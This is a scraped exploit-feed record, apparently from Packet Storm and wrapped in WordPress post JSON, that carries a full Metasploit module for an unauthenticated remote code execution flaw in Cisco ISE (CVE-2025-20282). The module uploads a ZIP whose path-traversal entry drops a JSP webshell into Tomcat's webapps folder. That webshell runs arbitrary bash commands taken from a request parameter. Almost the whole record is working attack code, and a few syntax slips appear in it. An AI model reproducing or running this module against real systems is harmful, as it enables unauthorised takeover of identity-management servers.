{“lastseen”:”2026-05-11T17:18:12″,”description”:”This Metasploit module exploits an unauthorized file upload vulnerability in Cisco ISE. A ZIP file containing a JSP file with a manipulated path path traversal is uploaded. The webshell is then extracted to the webapps folder…”,”published”:”2026-05-11T00:00:00″,”modified”:”2026-05-11T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Cisco ISE 2.2 Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:220737″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-20282″],”sourceData”:”==================================================================================================================================\\n | # Title : Cisco ISE 2.2 Unauthenticated RCE Metasploit Module |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits) |\\n | # Vendor : https:\/\/www.cisco.com\/ |\\n ==================================================================================================================================\\n \\n [+] Summary : an RCE vulnerability in Cisco Identity Services Engine (ISE), identified as CVE-2025-20282. The flaw is related to insecure file upload handling combined with ZIP path traversal.\\n \\n [+] POC : \\n \\n ##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n class MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank = ExcellentRanking\\n \\n prepend Msf::Exploit::Remote::AutoCheck\\n include Msf::Exploit::Remote::HttpClient\\n include Msf::Exploit::FileDropper\\n \\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Cisco ISE Unauthenticated RCE (CVE-2025-20282)’,\\n ‘Description’ =\\u003e %q{\\n This mod exploits an unauthorized file upload vulnerability in Cisco ISE.\\n A ZIP file containing a JSP file with a manipulated path (Path Traversal) is uploaded.\\n The webshell is then extracted to the Webapps folder.\\n },\\n ‘Author’ =\\u003e [ ‘indoushka’ ],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘References’ =\\u003e [ [‘CVE’, ‘2025-20282’] ],\\n ‘Platform’ =\\u003e ‘linux’,\\n ‘Arch’ =\\u003e ARCH_CMD,\\n ‘Targets’ =\\u003e [ [‘Cisco ISE’, {}] ],\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘DisclosureDate’ =\\u003e ‘2025-01-01’,\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION],\\n ‘SideEffects’ =\\u003e [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\\n }\\n )\\n )\\n \\n register_options(\\n [\\n Opt::RPORT(443),\\n OptBool.new(‘SSL’, [true, ‘Use SSL’, true]),\\n OptString.new(‘TARGETURI’, [true, ‘The base path’, ‘\/’])\\n ]\\n )\\n end\\n \\n def check\\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘admin’, ‘files-upload’, ‘z’)\\n })\\n \\n return CheckCode::Unknown unless res\\n return CheckCode::Appears if res.code == 405\\n \\n CheckCode::Safe\\n end\\n \\n def exploit\\n shell_name = \\”#{Rex::Text.rand_text_alpha(8)}.jsp\\”\\n traversal_path = \\”appsrv\/apache-tomcat\/webapps\/admin\/error\/#{shell_name}\\”\\n \\n print_status(\\”Creating a ZIP file with path manipulation…\\”)\\n \\n zip_data = Rex::Zip::Archive.new\\n zip_data.add_file(traversal_path, jsp_payload)\\n \\n print_status(\\”Uploading Webshell: #{shell_name}\\”)\\”)\\n \\n post_data = Rex::MIME::Message.new\\n post_data.add_part(\\n zip_data.pack,\\n ‘application\/zip’,\\n ‘binary’,\\n \\”form-data; name=\\\\\\”file\\\\\\”; filename=\\\\\\”#{Rex::Text.rand_text_alpha(5)}.zip\\\\\\”\\”\\n )\\n \\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘POST’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘admin’, ‘files-upload’, ‘z’),\\n ‘ctype’ =\\u003e \\”multipart\/form-data; boundary=#{post_data.bound}\\”,\\n ‘data’ =\\u003e post_data.to_s\\n })\\n \\n unless res \\u0026\\u0026 res.code == 200\\n fail_with(Failure::UnexpectedReply, \\”Upload failed (Response code: #{res\\u0026.code})\\”)\\”)\\n end\\n \\n register_files_for_cleanup(\\”appsrv\/apache-tomcat\/webapps\/admin\/error\/#{shell_name}\\”)\\n \\n print_status(\\”Command being executed via Webshell…\\”)\\n \\n cmd = Rex::Text.uri_encode(payload.encoded)\\n execute_command(shell_name, cmd)\\n end\\n \\n def execute_command(shell_name, cmd)\\n send_request_cgi({\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘admin’, ‘error’, shell_name),\\n ‘vars_get’ =\\u003e { ‘cmd’ =\\u003e cmd }\\n }, 5)\\n end\\n \\n def jsp_payload\\n \\u003c\\u003c~JSP\\n \\u003c%@ page import=\\”java.io.*\\” %\\u003e\\n \\u003c%\\n String cmd = request.getParameter(\\”cmd\\”);\\n if (cmd != null) {\\n Process p = Runtime.getRuntime().exec(new String[]{\\”\/bin\/bash\\”, \\”-c\\”, cmd});\\n InputStream in = p.getInputStream();\\n int c;\\n while ((c = in.read()) != -1) out.print((char)c);\\n }\\n %\\u003e\\n JSP\\n end\\n end\\n \\t\\n Greetings to :==============================================================================\\n jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n ============================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/220737″,”cvss”:{“score”:10,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/220737\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-11T17:18:12″,”description”:”This Metasploit module exploits an unauthorized file upload vulnerability in Cisco ISE. A ZIP file containing a JSP file with a manipulated path path traversal…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,36,12,13,53,7,11,5],"class_list":["post-53086","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-100","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n